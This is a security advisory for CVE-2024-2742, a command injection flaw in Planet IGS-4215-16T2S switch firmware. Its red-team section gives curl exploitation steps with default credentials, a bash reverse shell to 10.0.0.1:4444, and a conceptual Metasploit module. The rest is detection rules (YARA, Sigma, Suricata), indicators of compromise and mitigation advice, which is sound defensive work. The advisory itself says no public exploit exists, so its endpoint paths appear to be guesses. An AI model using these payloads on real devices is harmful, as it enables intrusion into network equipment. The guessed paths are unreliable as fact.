CVE-2024-2742

Executive Summary

CVE-2024-2742 is an operating system command injection vulnerability in Planet IGS-4215-16T2S managed switches running firmware version 1.305b210528. An authenticated attacker can exploit the IP address functionality to execute arbitrary commands on the underlying operating system. With a CVSS score of 6.4 (Medium), the vulnerability requires authentication but can lead to full system compromise. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not confirmed a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs valid credentials
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – full OS read access
• Integrity Impact: Low (I:L) – limited write capability
• Availability Impact: Low (A:L) – potential service disruption

Threat Level: Medium. Exploitation requires authentication, but once achieved, the attacker gains full command execution on the switch OS, enabling lateral movement, data exfiltration, or disruption of network operations.

Deep Dive & Mechanics

The vulnerability resides in the IP address configuration functionality of the Planet IGS-4215-16T2S web interface. The application fails to properly sanitize user-supplied input when setting or modifying IP address parameters (e.g., static IP, gateway, DNS). An authenticated attacker can inject arbitrary OS commands by appending shell metacharacters (e.g., ;, |, &&) to the IP address field.

Root Cause: The input is passed directly to a system shell command (e.g., system() or exec()) without validation or escaping. For example, a request to set the IP address to 192.168.1.1; id would execute the id command on the host.

Attack Flow:

1. Attacker authenticates to the web interface (default credentials or brute-forced).
2. Navigates to network configuration (IP address settings).
3. Injects payload: 192.168.1.1; <malicious_command>.
4. The switch executes the command with root privileges.
5. Attacker establishes persistence (e.g., reverse shell, backdoor).

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.305b210528):

// Pseudocode for vulnerable IP address handler
void set_ip_address(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ifconfig eth0 %s", user_input);
    system(cmd);  // No sanitization
}

Patched Code (Hypothetical):

void set_ip_address(char *user_input) {
    // Validate IP address format
    if (!is_valid_ip(user_input)) {
        return error("Invalid IP");
    }
    // Use parameterized API instead of shell
    set_ip_parameter("eth0", user_input);
}

Key Difference: The patched version validates input format and avoids shell execution by using a dedicated API.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Planet IGS-4215-16T2S with firmware 1.305b210528
• Valid credentials (e.g., admin/admin)
• Network access to the management interface (default port 80/443)

Exploitation Steps:

1. Authenticate:

   curl -X POST http://<target>/login.cgi -d "username=admin&password=admin"
   

2. Inject Command via IP Address:

   curl -X POST http://<target>/set_ip.cgi -d "ip=192.168.1.1;id"
   

3. Verify Execution: Check response or use a reverse shell:

   curl -X POST http://<target>/set_ip.cgi -d "ip=192.168.1.1;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
   

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Planet IGS-4215-16T2S Command Injection',
      'Description' => 'Authenticated OS command injection in IP address functionality',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-2742']],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    print_status("Authenticating...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/login.cgi',
      'vars_post' => {'username' => 'admin', 'password' => 'admin'}
    })
    fail_with(Failure::NoAccess, 'Authentication failed') unless res

    print_status("Injecting command...")
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/set_ip.cgi',
      'vars_post' => {'ip' => "192.168.1.1;#{payload.encoded}"}
    })
  end
end

Blue Team

Detection & Response:

• Monitor for unusual HTTP POST requests to /set_ip.cgi with shell metacharacters.
• Enable logging on the switch and forward to SIEM.
• Restrict management interface to trusted IPs only.
• Implement network segmentation for OT devices.

Honeypot Setup:

• Deploy a fake Planet switch on a decoy network segment.
• Log all POST requests to /set_ip.cgi for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /set_ip.cgi containing ;, |, &&, or $().
• Outbound connections from the switch to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries from the switch.

Host IOCs:

• Unexpected processes running on the switch (e.g., /bin/sh, bash).
• Modified configuration files (e.g., /etc/config/network).
• Presence of reverse shell binaries or scripts.

File IOCs:

• /tmp/.backdoor.sh
• /var/run/evil.sh

Detection Engineering

YARA Rule

rule CVE_2024_2742_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Planet IGS-4215-16T2S"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2742"
    strings:
        $s1 = "/set_ip.cgi" ascii wide nocase
        $s2 = "ip=" ascii wide nocase
        $s3 = /[;&|`$()]/
    condition:
        all of ($s1, $s2) and #s3 > 0
}

Sigma Rule

title: Planet IGS-4215-16T2S Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /set_ip.cgi with shell metacharacters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/set_ip.cgi'
        cs-uri-query|contains: 'ip='
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate IP addresses with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2742 Planet IGS-4215-16T2S Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/set_ip.cgi"; http_uri;
    content:"ip="; http_client_body;
    pcre:"/(?:[;&|`$()])/";
    sid:1000001;
    rev:1;
    reference:cve,2024-2742;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the switch on a separate VLAN with strict firewall rules.
2. Change default credentials: Use strong, unique passwords.
3. Disable unused services: Turn off web interface if not required.
4. Monitor logs: Enable syslog and forward to SIEM.

Long-Term Fix:

• Contact Planet for a firmware patch. If unavailable, consider replacing the device.
• Implement input validation at the application layer (e.g., WAF rules to block shell metacharacters).
• Use network segmentation to limit exposure of OT devices.

Workaround:

• Restrict management access to trusted IPs only via ACLs.
• Deploy a reverse proxy with input sanitization in front of the switch.

Valters IT